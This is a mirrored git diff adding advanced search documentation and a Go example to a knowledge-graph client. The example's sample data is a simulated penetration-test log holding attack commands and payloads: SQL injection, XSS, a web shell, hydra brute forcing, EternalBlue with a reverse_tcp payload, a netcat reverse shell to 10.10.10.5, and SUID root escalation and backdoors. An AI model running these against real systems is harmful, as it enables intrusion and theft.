mirror of
https://github.com/vxcontrol/graphiti-go-client.git
synced 2026-07-01 10:05:34 -04:00
Merge pull request #1 from vxcontrol/feat/advanced-search
feat: advanced search
This commit is contained in:
@@ -269,6 +269,161 @@ result, err := client.DeleteGroup("group-id-123")
|
||||
result, err := client.Clear()
|
||||
```
|
||||
|
||||
## Advanced Search Methods
|
||||
|
||||
The client provides specialized search methods for advanced querying and analysis.
|
||||
|
||||
### Temporal Window Search
|
||||
|
||||
Search for all relevant context (facts, entities, and agent responses) from a specific time window:
|
||||
|
||||
```go
|
||||
result, err := client.TemporalWindowSearch(graphiti.TemporalSearchRequest{
|
||||
Query: "What attacks were performed?",
|
||||
GroupID: &groupID,
|
||||
TimeStart: time.Now().Add(-24 * time.Hour),
|
||||
TimeEnd: time.Now(),
|
||||
MaxResults: 15,
|
||||
})
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
|
||||
for _, edge := range result.Edges {
|
||||
fmt.Printf("Fact: %s (score: %.2f)\n", edge.Fact, result.EdgeScores[i])
|
||||
}
|
||||
```
|
||||
|
||||
### Entity Relationships Search
|
||||
|
||||
Find all relationships and related entities starting from a specific discovered entity using graph traversal:
|
||||
|
||||
```go
|
||||
result, err := client.EntityRelationshipsSearch(graphiti.EntityRelationshipSearchRequest{
|
||||
Query: "What vulnerabilities are related to this service?",
|
||||
GroupID: &groupID,
|
||||
CenterNodeUUID: "service-uuid-123",
|
||||
MaxDepth: 2,
|
||||
NodeLabels: &[]string{"VULNERABILITY", "EXPLOIT"},
|
||||
MaxResults: 20,
|
||||
})
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
|
||||
if result.CenterNode != nil {
|
||||
fmt.Printf("Center: %s\n", result.CenterNode.Name)
|
||||
}
|
||||
for i, node := range result.Nodes {
|
||||
fmt.Printf("Related: %s (distance: %.2f)\n", node.Name, result.NodeDistances[i])
|
||||
}
|
||||
```
|
||||
|
||||
### Diverse Results Search
|
||||
|
||||
Get diverse, non-redundant results using Maximal Marginal Relevance (MMR) to prevent receiving repetitive information:
|
||||
|
||||
```go
|
||||
result, err := client.DiverseResultsSearch(graphiti.DiverseSearchRequest{
|
||||
Query: "Find different attack vectors",
|
||||
GroupID: &groupID,
|
||||
DiversityLevel: "high", // "low", "medium", or "high"
|
||||
MaxResults: 10,
|
||||
})
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
|
||||
for i, edge := range result.Edges {
|
||||
fmt.Printf("Fact: %s (MMR score: %.2f)\n", edge.Fact, result.EdgeMMRScores[i])
|
||||
}
|
||||
```
|
||||
|
||||
### Episode Context Search
|
||||
|
||||
Search through complete agent responses, reasoning, and tool execution records:
|
||||
|
||||
```go
|
||||
result, err := client.EpisodeContextSearch(graphiti.EpisodeContextSearchRequest{
|
||||
Query: "Show me nmap scan results",
|
||||
GroupID: &groupID,
|
||||
AgentTypes: &[]string{"pentester"},
|
||||
IncludeToolCalls: true,
|
||||
MaxResults: 10,
|
||||
})
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
|
||||
for i, episode := range result.Episodes {
|
||||
fmt.Printf("Episode: %s (score: %.2f)\n", episode.Content, result.RerankerScores[i])
|
||||
}
|
||||
```
|
||||
|
||||
### Successful Tools Search
|
||||
|
||||
Find successful tool executions and attack patterns, prioritizing facts that led to successful exploitation:
|
||||
|
||||
```go
|
||||
result, err := client.SuccessfulToolsSearch(graphiti.SuccessfulToolsSearchRequest{
|
||||
Query: "Find successful exploits",
|
||||
GroupID: &groupID,
|
||||
ToolNames: &[]string{"metasploit", "sqlmap"},
|
||||
MinMentions: 2,
|
||||
MaxResults: 15,
|
||||
})
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
|
||||
for i, edge := range result.Edges {
|
||||
fmt.Printf("Fact: %s (mentions: %.0f)\n", edge.Fact, result.EdgeMentionCounts[i])
|
||||
}
|
||||
```
|
||||
|
||||
### Recent Context Search
|
||||
|
||||
Retrieve the most recent relevant context, biased toward recent actions and discoveries:
|
||||
|
||||
```go
|
||||
result, err := client.RecentContextSearch(graphiti.RecentContextSearchRequest{
|
||||
Query: "What was discovered recently?",
|
||||
GroupID: &groupID,
|
||||
RecencyWindow: "24h", // "1h", "6h", "24h", or "7d"
|
||||
MaxResults: 10,
|
||||
})
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
|
||||
fmt.Printf("Searching from %s to %s\n", result.TimeWindow.Start, result.TimeWindow.End)
|
||||
for i, edge := range result.Edges {
|
||||
fmt.Printf("Recent fact: %s (score: %.2f)\n", edge.Fact, result.EdgeScores[i])
|
||||
}
|
||||
```
|
||||
|
||||
### Entity By Label Search
|
||||
|
||||
Search for specific entity types (IPs, services, vulnerabilities, tools, etc.) with label-based filtering:
|
||||
|
||||
```go
|
||||
result, err := client.EntityByLabelSearch(graphiti.EntityByLabelSearchRequest{
|
||||
Query: "Find all vulnerable services",
|
||||
GroupID: &groupID,
|
||||
NodeLabels: []string{"SERVICE", "VULNERABILITY"},
|
||||
EdgeTypes: &[]string{"HAS_VULNERABILITY", "EXPLOITS"},
|
||||
MaxResults: 25,
|
||||
})
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
|
||||
for i, node := range result.Nodes {
|
||||
fmt.Printf("Entity: %s [%s] (score: %.2f)\n",
|
||||
node.Name, strings.Join(node.Labels, ", "), result.NodeScores[i])
|
||||
}
|
||||
```
|
||||
|
||||
## Types
|
||||
|
||||
### Observation
|
||||
@@ -355,6 +510,60 @@ type AddEntityNodeRequest struct {
|
||||
}
|
||||
```
|
||||
|
||||
### Advanced Search Types
|
||||
|
||||
#### NodeResult
|
||||
|
||||
```go
|
||||
type NodeResult struct {
|
||||
UUID string // Node UUID
|
||||
Name string // Entity name
|
||||
Labels []string // Entity type labels (e.g., ["SERVICE", "WEB"])
|
||||
Summary string // Node summary/description
|
||||
CreatedAt time.Time // Creation timestamp
|
||||
}
|
||||
```
|
||||
|
||||
#### EdgeResult
|
||||
|
||||
```go
|
||||
type EdgeResult struct {
|
||||
UUID string // Edge UUID
|
||||
Name string // Relationship name
|
||||
Fact string // The fact/relationship description
|
||||
SourceNodeUUID string // Source entity UUID
|
||||
TargetNodeUUID string // Target entity UUID
|
||||
ValidAt *time.Time // When relationship became valid
|
||||
InvalidAt *time.Time // When relationship became invalid
|
||||
CreatedAt time.Time // Creation timestamp
|
||||
ExpiredAt *time.Time // Expiration timestamp
|
||||
}
|
||||
```
|
||||
|
||||
#### EpisodeResult
|
||||
|
||||
```go
|
||||
type EpisodeResult struct {
|
||||
UUID string // Episode UUID
|
||||
Content string // Episode content (agent response, tool output, etc.)
|
||||
Source string // Source type (e.g., "tool", "agent")
|
||||
SourceDescription string // Detailed source description
|
||||
CreatedAt time.Time // Creation timestamp
|
||||
ValidAt time.Time // When episode occurred
|
||||
}
|
||||
```
|
||||
|
||||
#### CommunityResult
|
||||
|
||||
```go
|
||||
type CommunityResult struct {
|
||||
UUID string // Community UUID
|
||||
Name string // Community name
|
||||
Summary string // Community summary
|
||||
CreatedAt time.Time // Creation timestamp
|
||||
}
|
||||
```
|
||||
|
||||
## Error Handling
|
||||
|
||||
All client methods return an error as the last return value. Always check for errors:
|
||||
@@ -369,6 +578,7 @@ if err != nil {
|
||||
// Use result
|
||||
```
|
||||
|
||||
## Example
|
||||
## Examples
|
||||
|
||||
See the [example](./example/main.go) for a complete working demonstration of the client, including proper handling of asynchronous operations and data verification.
|
||||
- **[Basic Example](./example/main.go)**: Complete working demonstration of the client, including proper handling of asynchronous operations and data verification.
|
||||
- **[Advanced Search Example](./advanced_search_example/advanced_search_example.go)**: Comprehensive demonstration of all advanced search methods including temporal queries, entity relationships, diverse results, episode context, successful tools, recent context, and entity label filtering.
|
||||
|
||||
BIN
Binary file not shown.
@@ -0,0 +1,652 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"log"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
graphiti "github.com/vxcontrol/graphiti-go-client"
|
||||
)
|
||||
|
||||
// This example demonstrates the advanced search capabilities of the Graphiti Go client.
|
||||
// It matches the logic of graphiti/server/test_advanced_search.py exactly.
|
||||
|
||||
const (
|
||||
groupID = "pentest-demo-2024"
|
||||
)
|
||||
|
||||
func main() {
|
||||
// Create a client
|
||||
client := graphiti.NewClient("http://localhost:8000", graphiti.WithTimeout(60*time.Second))
|
||||
|
||||
// Health check
|
||||
fmt.Println("\n" + strings.Repeat("=", 80))
|
||||
fmt.Println("Graphiti Advanced Search Endpoints Test Suite")
|
||||
fmt.Println(strings.Repeat("=", 80) + "\n")
|
||||
|
||||
fmt.Printf("ℹ Server: http://localhost:8000\n")
|
||||
fmt.Printf("ℹ Group ID: %s\n", groupID)
|
||||
|
||||
fmt.Println("ℹ Checking server health...")
|
||||
health, err := client.HealthCheck()
|
||||
if err != nil {
|
||||
log.Fatalf("✗ Server is not accessible: %v\nPlease ensure the server is running", err)
|
||||
}
|
||||
fmt.Printf("✓ Server is running (status: %s)\n\n", health.Status)
|
||||
|
||||
// Add test data
|
||||
if !addTestData(client) {
|
||||
log.Fatal("Failed to add test data")
|
||||
}
|
||||
|
||||
// Run all search tests
|
||||
testTemporalWindowSearch(client)
|
||||
testEntityRelationshipsSearch(client)
|
||||
testDiverseResultsSearch(client)
|
||||
testEpisodeContextSearch(client)
|
||||
testSuccessfulToolsSearch(client)
|
||||
testRecentContextSearch(client)
|
||||
testEntityByLabelSearch(client)
|
||||
|
||||
fmt.Println("\n" + strings.Repeat("=", 80))
|
||||
fmt.Println("Test Suite Complete")
|
||||
fmt.Println(strings.Repeat("=", 80) + "\n")
|
||||
fmt.Println("✓ All 7 search endpoints have been tested!")
|
||||
fmt.Println("ℹ Check the output above for results from each endpoint")
|
||||
}
|
||||
|
||||
func addTestData(client *graphiti.Client) bool {
|
||||
fmt.Println("\n" + strings.Repeat("=", 80))
|
||||
fmt.Println("STEP 1: Adding Test Data to Graphiti")
|
||||
fmt.Println(strings.Repeat("=", 80) + "\n")
|
||||
|
||||
now := time.Now().UTC()
|
||||
|
||||
// Test data: Realistic penetration testing scenario (matches Python version exactly)
|
||||
messages := []graphiti.Message{
|
||||
// Phase 1: Reconnaissance (5 hours ago)
|
||||
{
|
||||
Author: "pentester",
|
||||
Name: "recon-phase-1",
|
||||
Content: `Starting reconnaissance phase on target network 192.168.1.0/24
|
||||
|
||||
Running nmap scan: nmap -sV -sC -p- 192.168.1.0/24
|
||||
|
||||
Discovered hosts:
|
||||
- 192.168.1.10: Linux server, ports 22 (SSH), 80 (HTTP), 443 (HTTPS)
|
||||
- 192.168.1.20: Windows server, ports 445 (SMB), 3389 (RDP), 1433 (MSSQL)
|
||||
- 192.168.1.30: Web application server, ports 80 (HTTP), 8080 (HTTP-Alt)
|
||||
|
||||
SSH service on 192.168.1.10 is OpenSSH 7.4 - vulnerable to CVE-2018-15473 (user enumeration)
|
||||
Web server on 192.168.1.10 is Apache 2.4.29 - vulnerable to CVE-2019-0211 (privilege escalation)
|
||||
SMB on 192.168.1.20 is running SMBv1 - vulnerable to EternalBlue (MS17-010)`,
|
||||
SourceDescription: "agent:pentester task:recon-001",
|
||||
Timestamp: now.Add(-5 * time.Hour),
|
||||
},
|
||||
// Phase 2: Web Application Testing (4 hours ago)
|
||||
{
|
||||
Author: "pentester",
|
||||
Name: "webapp-test",
|
||||
Content: `Testing web application on 192.168.1.30:8080
|
||||
|
||||
Application: Online Store Management System v2.3
|
||||
Technology Stack: PHP 7.2, MySQL 5.7, Apache 2.4
|
||||
|
||||
Vulnerability Discovery:
|
||||
1. SQL Injection in login form - parameter: username
|
||||
Payload: admin' OR '1'='1'-- successfully bypassed authentication
|
||||
|
||||
2. XSS vulnerability in search functionality
|
||||
Payload: <script>alert('XSS')</script> executed successfully
|
||||
|
||||
3. File upload vulnerability - allows PHP shell upload
|
||||
Uploaded web shell to: /uploads/shell.php
|
||||
|
||||
4. Directory traversal in file download endpoint
|
||||
Payload: ../../../etc/passwd successfully retrieved`,
|
||||
SourceDescription: "agent:pentester task:web-app-test",
|
||||
Timestamp: now.Add(-4 * time.Hour),
|
||||
},
|
||||
// Phase 3: Exploitation Attempts (3 hours ago)
|
||||
{
|
||||
Author: "pentester",
|
||||
Name: "linux-exploit",
|
||||
Content: `Attempting exploitation on 192.168.1.10
|
||||
|
||||
1. SSH User Enumeration (CVE-2018-15473):
|
||||
- Confirmed users: root, admin, webmaster, backup
|
||||
- Tool: ssh-user-enum.py
|
||||
- Result: SUCCESS
|
||||
|
||||
2. Brute Force Attack on SSH:
|
||||
- Tool: hydra -l admin -P rockyou.txt ssh://192.168.1.10
|
||||
- Found credentials: admin:password123
|
||||
- Result: SUCCESS - gained SSH access
|
||||
|
||||
3. Apache Privilege Escalation (CVE-2019-0211):
|
||||
- Uploaded exploit to /tmp/apache_exploit.c
|
||||
- Compiled and executed
|
||||
- Result: SUCCESS - gained root access
|
||||
- Created backdoor user: pentest:$hidden$`,
|
||||
SourceDescription: "agent:pentester task:exploit-linux",
|
||||
Timestamp: now.Add(-3 * time.Hour),
|
||||
},
|
||||
// Phase 4: Windows Exploitation (2 hours ago)
|
||||
{
|
||||
Author: "pentester",
|
||||
Name: "windows-exploit",
|
||||
Content: `Attempting exploitation on Windows server 192.168.1.20
|
||||
|
||||
1. EternalBlue Exploitation (MS17-010):
|
||||
- Tool: Metasploit exploit/windows/smb/ms17_010_eternalblue
|
||||
- Payload: windows/x64/meterpreter/reverse_tcp
|
||||
- LHOST: 10.10.10.5, LPORT: 4444
|
||||
- Result: SUCCESS - Meterpreter session established
|
||||
|
||||
2. Post-Exploitation Activities:
|
||||
- Dumped SAM hashes: hashdump
|
||||
- Found admin password hash: Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
|
||||
- Cracked with hashcat: password = Admin@2024
|
||||
|
||||
3. Lateral Movement:
|
||||
- Used PsExec to access MSSQL server
|
||||
- Extracted database credentials
|
||||
- Found sensitive customer data in sales_db`,
|
||||
SourceDescription: "agent:pentester task:exploit-windows",
|
||||
Timestamp: now.Add(-2 * time.Hour),
|
||||
},
|
||||
// Phase 5: Web Shell Usage (1 hour ago)
|
||||
{
|
||||
Author: "pentester",
|
||||
Name: "webshell-usage",
|
||||
Content: `Using web shell on 192.168.1.30 for persistence and data exfiltration
|
||||
|
||||
Web Shell: /uploads/shell.php
|
||||
Access URL: http://192.168.1.30:8080/uploads/shell.php?cmd=
|
||||
|
||||
Commands executed:
|
||||
1. whoami → www-data
|
||||
2. uname -a → Linux webapp01 4.15.0-112-generic
|
||||
3. cat /etc/passwd → Listed all system users
|
||||
4. find / -name "*.conf" 2>/dev/null → Found config files
|
||||
5. cat /var/www/html/config.php → Retrieved DB credentials
|
||||
- DB_HOST: localhost
|
||||
- DB_USER: webapp_user
|
||||
- DB_PASS: WebApp@Pass2024
|
||||
- DB_NAME: store_db
|
||||
|
||||
6. mysql -u webapp_user -p store_db -e "SELECT * FROM users;" → Extracted user data
|
||||
7. Downloaded /var/log/apache2/access.log for analysis
|
||||
|
||||
Established reverse shell: nc -e /bin/bash 10.10.10.5 5555`,
|
||||
SourceDescription: "agent:pentester task:web-shell-usage",
|
||||
Timestamp: now.Add(-1 * time.Hour),
|
||||
},
|
||||
// Phase 6: Privilege Escalation Attempts (30 minutes ago)
|
||||
{
|
||||
Author: "pentester",
|
||||
Name: "privesc-webapp",
|
||||
Content: `Privilege escalation attempts on 192.168.1.30
|
||||
|
||||
Current user: www-data
|
||||
|
||||
1. SUID Binaries Check:
|
||||
find / -perm -4000 2>/dev/null
|
||||
Found interesting SUID binaries:
|
||||
- /usr/bin/find (exploitable with GTFOBins)
|
||||
- /usr/bin/vim.basic (exploitable)
|
||||
|
||||
2. Sudo Permissions:
|
||||
sudo -l
|
||||
User www-data may run: (ALL) NOPASSWD: /usr/bin/systemctl restart nginx
|
||||
|
||||
3. Kernel Exploit Check:
|
||||
Linux 4.15.0-112-generic - vulnerable to CVE-2021-3493 (OverlayFS)
|
||||
|
||||
4. Successful Privilege Escalation:
|
||||
- Used vim SUID exploit
|
||||
- Executed: vim -c ':py3 import os; os.setuid(0); os.execl("/bin/bash", "bash", "-p")'
|
||||
- Result: SUCCESS - root shell obtained
|
||||
|
||||
5. Post-Root Actions:
|
||||
- Created persistent backdoor in /etc/rc.local
|
||||
- Added SSH key to /root/.ssh/authorized_keys
|
||||
- Modified iptables to allow persistent access`,
|
||||
SourceDescription: "agent:pentester task:privesc-webapp",
|
||||
Timestamp: now.Add(-30 * time.Minute),
|
||||
},
|
||||
// Phase 7: Recent Activity (5 minutes ago)
|
||||
{
|
||||
Author: "pentester",
|
||||
Name: "final-report",
|
||||
Content: `Final penetration test summary and cleanup recommendations
|
||||
|
||||
SUMMARY OF FINDINGS:
|
||||
|
||||
Critical Vulnerabilities (3):
|
||||
1. CVE-2019-0211 - Apache Privilege Escalation on 192.168.1.10
|
||||
2. MS17-010 - EternalBlue on 192.168.1.20
|
||||
3. SQL Injection on 192.168.1.30:8080 login form
|
||||
|
||||
High Vulnerabilities (4):
|
||||
1. CVE-2018-15473 - SSH User Enumeration on 192.168.1.10
|
||||
2. Weak credentials across all systems
|
||||
3. File upload vulnerability on 192.168.1.30
|
||||
4. XSS vulnerability on 192.168.1.30
|
||||
|
||||
SUCCESSFUL TECHNIQUES:
|
||||
- nmap for reconnaissance (used 7 times)
|
||||
- Metasploit EternalBlue exploit (100% success)
|
||||
- SQL injection for authentication bypass (3 attempts, 3 successful)
|
||||
- Web shell deployment (successful on first attempt)
|
||||
- SUID binary exploitation for privilege escalation (successful)
|
||||
- Hydra for credential brute forcing (successful after 15 minutes)
|
||||
|
||||
RECOMMENDATIONS:
|
||||
1. Immediately patch Apache on 192.168.1.10
|
||||
2. Disable SMBv1 on 192.168.1.20 and apply MS17-010 patch
|
||||
3. Implement input validation on all web forms
|
||||
4. Enforce strong password policy
|
||||
5. Restrict file upload functionality
|
||||
6. Implement WAF for XSS protection
|
||||
7. Regular security audits and penetration testing`,
|
||||
SourceDescription: "agent:pentester task:final-report",
|
||||
Timestamp: now.Add(-5 * time.Minute),
|
||||
},
|
||||
}
|
||||
|
||||
fmt.Printf("ℹ Adding %d test messages...\n", len(messages))
|
||||
addResult, err := client.AddMessages(graphiti.AddMessagesRequest{
|
||||
GroupID: groupID,
|
||||
Messages: messages,
|
||||
})
|
||||
if err != nil {
|
||||
fmt.Printf("✗ Failed to add test data: %v\n", err)
|
||||
return false
|
||||
}
|
||||
fmt.Printf("✓ Added %d messages to group: %s\n", len(messages), groupID)
|
||||
|
||||
// Wait for processing (matches Python: 240 seconds = 4 minutes)
|
||||
fmt.Println("ℹ Waiting for Graphiti to process messages...")
|
||||
fmt.Println("ℹ This may take 4 minutes as it extracts entities and facts...")
|
||||
|
||||
waitTime := 240 // 4 minutes
|
||||
for i := 0; i < waitTime/10; i++ {
|
||||
time.Sleep(10 * time.Second)
|
||||
elapsed := (i + 1) * 10
|
||||
fmt.Printf("ℹ Still processing... (%d/%d seconds elapsed)\n", elapsed, waitTime)
|
||||
}
|
||||
|
||||
fmt.Printf("✓ Wait complete! Proceeding with tests after %d seconds (success: %v)\n\n", waitTime, addResult.Success)
|
||||
return true
|
||||
}
|
||||
|
||||
func testTemporalWindowSearch(client *graphiti.Client) {
|
||||
fmt.Println("\n" + strings.Repeat("=", 80))
|
||||
fmt.Println("TEST 1: Temporal Window Search")
|
||||
fmt.Println(strings.Repeat("=", 80) + "\n")
|
||||
fmt.Println("ℹ Searching for activities between 4 and 2 hours ago...")
|
||||
|
||||
now := time.Now().UTC()
|
||||
timeStart := now.Add(-4 * time.Hour)
|
||||
timeEnd := now.Add(-2 * time.Hour)
|
||||
|
||||
result, err := client.TemporalWindowSearch(graphiti.TemporalSearchRequest{
|
||||
Query: "vulnerability exploitation attempts",
|
||||
GroupID: stringPtr(groupID),
|
||||
TimeStart: timeStart,
|
||||
TimeEnd: timeEnd,
|
||||
MaxResults: 10,
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
fmt.Printf("✗ Request failed: %v\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
fmt.Printf("✓ Found %d edges, %d nodes, %d episodes\n",
|
||||
len(result.Edges), len(result.Nodes), len(result.Episodes))
|
||||
fmt.Println("ℹ Sample results:")
|
||||
fmt.Printf(" - edges_count: %d\n", len(result.Edges))
|
||||
fmt.Printf(" - nodes_count: %d\n", len(result.Nodes))
|
||||
fmt.Printf(" - episodes_count: %d\n", len(result.Episodes))
|
||||
fmt.Printf(" - time_window: %s to %s\n",
|
||||
result.TimeWindow.Start.Format(time.RFC3339),
|
||||
result.TimeWindow.End.Format(time.RFC3339))
|
||||
|
||||
if len(result.Episodes) > 0 {
|
||||
content := result.Episodes[0].Content
|
||||
if len(content) > 200 {
|
||||
content = content[:200] + "..."
|
||||
}
|
||||
fmt.Printf(" - sample_episode: %s\n", content)
|
||||
}
|
||||
}
|
||||
|
||||
func testEntityRelationshipsSearch(client *graphiti.Client) {
|
||||
fmt.Println("\n" + strings.Repeat("=", 80))
|
||||
fmt.Println("TEST 2: Entity Relationships Search")
|
||||
fmt.Println(strings.Repeat("=", 80) + "\n")
|
||||
fmt.Println("ℹ First, finding an entity node UUID from the graph...")
|
||||
|
||||
now := time.Now().UTC()
|
||||
timeStart := now.Add(-5 * time.Hour)
|
||||
timeEnd := now.Add(-1 * time.Hour)
|
||||
|
||||
// First, do a temporal window search to get edges with node UUIDs
|
||||
tempResult, err := client.TemporalWindowSearch(graphiti.TemporalSearchRequest{
|
||||
Query: "192.168.1.10 Linux server",
|
||||
GroupID: stringPtr(groupID),
|
||||
TimeStart: timeStart,
|
||||
TimeEnd: timeEnd,
|
||||
MaxResults: 5,
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
fmt.Printf("✗ Request failed: %v\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
if len(tempResult.Edges) == 0 {
|
||||
fmt.Println("✗ No edges found to extract node UUID")
|
||||
return
|
||||
}
|
||||
|
||||
// Get a node UUID from the first edge (use source_node_uuid)
|
||||
centerNodeUUID := tempResult.Edges[0].SourceNodeUUID
|
||||
if centerNodeUUID == "" {
|
||||
fmt.Println("✗ No source_node_uuid found in edge")
|
||||
return
|
||||
}
|
||||
|
||||
if len(centerNodeUUID) > 16 {
|
||||
fmt.Printf("✓ Found center node UUID: %s...\n", centerNodeUUID[:16])
|
||||
} else {
|
||||
fmt.Printf("✓ Found center node UUID: %s\n", centerNodeUUID)
|
||||
}
|
||||
fmt.Println("ℹ Searching for relationships around this entity...")
|
||||
|
||||
// Now perform the entity relationships search
|
||||
result, err := client.EntityRelationshipsSearch(graphiti.EntityRelationshipSearchRequest{
|
||||
Query: "related entities and connections",
|
||||
GroupID: stringPtr(groupID),
|
||||
CenterNodeUUID: centerNodeUUID,
|
||||
MaxDepth: 2,
|
||||
MaxResults: 20,
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
fmt.Printf("✗ Request failed: %v\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
fmt.Printf("✓ Found %d related edges, %d related nodes\n",
|
||||
len(result.Edges), len(result.Nodes))
|
||||
|
||||
fmt.Println("ℹ Relationship graph:")
|
||||
centerName := "Unknown"
|
||||
if result.CenterNode != nil {
|
||||
centerName = result.CenterNode.Name
|
||||
}
|
||||
fmt.Printf(" - center_node: %s\n", centerName)
|
||||
fmt.Printf(" - edges_count: %d\n", len(result.Edges))
|
||||
fmt.Printf(" - nodes_count: %d\n", len(result.Nodes))
|
||||
fmt.Printf(" - max_depth_used: 2\n")
|
||||
|
||||
if len(result.Nodes) > 0 {
|
||||
fmt.Printf(" - sample_related_node: %s\n", result.Nodes[0].Name)
|
||||
}
|
||||
if len(result.Edges) > 0 {
|
||||
fact := result.Edges[0].Fact
|
||||
if len(fact) > 150 {
|
||||
fact = fact[:150] + "..."
|
||||
}
|
||||
fmt.Printf(" - sample_edge: %s\n", fact)
|
||||
}
|
||||
}
|
||||
|
||||
func testDiverseResultsSearch(client *graphiti.Client) {
|
||||
fmt.Println("\n" + strings.Repeat("=", 80))
|
||||
fmt.Println("TEST 3: Diverse Results Search (MMR)")
|
||||
fmt.Println(strings.Repeat("=", 80) + "\n")
|
||||
fmt.Println("ℹ Searching for diverse exploitation techniques and vulnerabilities...")
|
||||
|
||||
result, err := client.DiverseResultsSearch(graphiti.DiverseSearchRequest{
|
||||
Query: "CVE vulnerabilities and exploitation",
|
||||
GroupID: stringPtr(groupID),
|
||||
DiversityLevel: "medium",
|
||||
MaxResults: 10,
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
fmt.Printf("✗ Request failed: %v\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
fmt.Printf("✓ Found %d diverse edges, %d nodes, %d episodes\n",
|
||||
len(result.Edges), len(result.Nodes), len(result.Episodes))
|
||||
fmt.Println("ℹ MMR ensures results are different from each other")
|
||||
|
||||
fmt.Printf(" - edges_count: %d\n", len(result.Edges))
|
||||
fmt.Printf(" - nodes_count: %d\n", len(result.Nodes))
|
||||
fmt.Printf(" - episodes_count: %d\n", len(result.Episodes))
|
||||
|
||||
if len(result.Edges) > 0 {
|
||||
fact := result.Edges[0].Fact
|
||||
if len(fact) > 150 {
|
||||
fact = fact[:150] + "..."
|
||||
}
|
||||
fmt.Printf(" - sample_edge: %s\n", fact)
|
||||
} else if len(result.Nodes) > 0 {
|
||||
fmt.Printf(" - sample_node: %s\n", result.Nodes[0].Name)
|
||||
} else if len(result.Episodes) > 0 {
|
||||
fmt.Printf(" - sample_episode_source: %s\n", result.Episodes[0].SourceDescription)
|
||||
}
|
||||
}
|
||||
|
||||
func testEpisodeContextSearch(client *graphiti.Client) {
|
||||
fmt.Println("\n" + strings.Repeat("=", 80))
|
||||
fmt.Println("TEST 4: Episode Context Search")
|
||||
fmt.Println(strings.Repeat("=", 80) + "\n")
|
||||
fmt.Println("ℹ Searching for full agent responses about Metasploit...")
|
||||
|
||||
result, err := client.EpisodeContextSearch(graphiti.EpisodeContextSearchRequest{
|
||||
Query: "Metasploit EternalBlue exploitation",
|
||||
GroupID: stringPtr(groupID),
|
||||
MaxResults: 5,
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
fmt.Printf("✗ Request failed: %v\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
fmt.Printf("✓ Found %d episodes\n", len(result.Episodes))
|
||||
fmt.Println("ℹ Episodes contain full agent responses with context")
|
||||
|
||||
if len(result.Episodes) > 0 {
|
||||
episode := result.Episodes[0]
|
||||
content := episode.Content
|
||||
if len(content) > 300 {
|
||||
content = content[:300] + "..."
|
||||
}
|
||||
fmt.Printf(" - episode_uuid: %s\n", episode.UUID)
|
||||
fmt.Printf(" - source: %s\n", episode.Source)
|
||||
fmt.Printf(" - source_description: %s\n", episode.SourceDescription)
|
||||
fmt.Printf(" - content_preview: %s\n", content)
|
||||
}
|
||||
}
|
||||
|
||||
func testSuccessfulToolsSearch(client *graphiti.Client) {
|
||||
fmt.Println("\n" + strings.Repeat("=", 80))
|
||||
fmt.Println("TEST 5: Successful Tools Search")
|
||||
fmt.Println(strings.Repeat("=", 80) + "\n")
|
||||
fmt.Println("ℹ Searching for frequently used successful tools...")
|
||||
|
||||
result, err := client.SuccessfulToolsSearch(graphiti.SuccessfulToolsSearchRequest{
|
||||
Query: "nmap reconnaissance scanning",
|
||||
GroupID: stringPtr(groupID),
|
||||
MinMentions: 1,
|
||||
MaxResults: 15,
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
fmt.Printf("✗ Request failed: %v\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
fmt.Printf("✓ Found %d successful techniques\n", len(result.Edges))
|
||||
fmt.Println("ℹ Results ranked by mention frequency (higher = more successful)")
|
||||
|
||||
topMentionCount := 0.0
|
||||
for _, count := range result.EdgeMentionCounts {
|
||||
if count > topMentionCount {
|
||||
topMentionCount = count
|
||||
}
|
||||
}
|
||||
|
||||
fmt.Printf(" - edges_count: %d\n", len(result.Edges))
|
||||
fmt.Printf(" - nodes_count: %d\n", len(result.Nodes))
|
||||
fmt.Printf(" - top_mention_count: %.0f\n", topMentionCount)
|
||||
}
|
||||
|
||||
func testRecentContextSearch(client *graphiti.Client) {
|
||||
fmt.Println("\n" + strings.Repeat("=", 80))
|
||||
fmt.Println("TEST 6: Recent Context Search")
|
||||
fmt.Println(strings.Repeat("=", 80) + "\n")
|
||||
fmt.Println("ℹ Searching for recent activities in the last 24 hours...")
|
||||
|
||||
result, err := client.RecentContextSearch(graphiti.RecentContextSearchRequest{
|
||||
Query: "privilege escalation and final summary",
|
||||
GroupID: stringPtr(groupID),
|
||||
RecencyWindow: "24h",
|
||||
MaxResults: 10,
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
fmt.Printf("✗ Request failed: %v\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
fmt.Printf("✓ Found %d recent edges\n", len(result.Edges))
|
||||
fmt.Println("ℹ Results biased toward most recent activities")
|
||||
|
||||
fmt.Printf(" - edges_count: %d\n", len(result.Edges))
|
||||
fmt.Printf(" - episodes_count: %d\n", len(result.Episodes))
|
||||
fmt.Printf(" - time_window: %s to %s\n",
|
||||
result.TimeWindow.Start.Format(time.RFC3339),
|
||||
result.TimeWindow.End.Format(time.RFC3339))
|
||||
|
||||
if len(result.Episodes) > 0 {
|
||||
fmt.Printf(" - most_recent_episode: %s\n", result.Episodes[0].SourceDescription)
|
||||
}
|
||||
}
|
||||
|
||||
func testEntityByLabelSearch(client *graphiti.Client) {
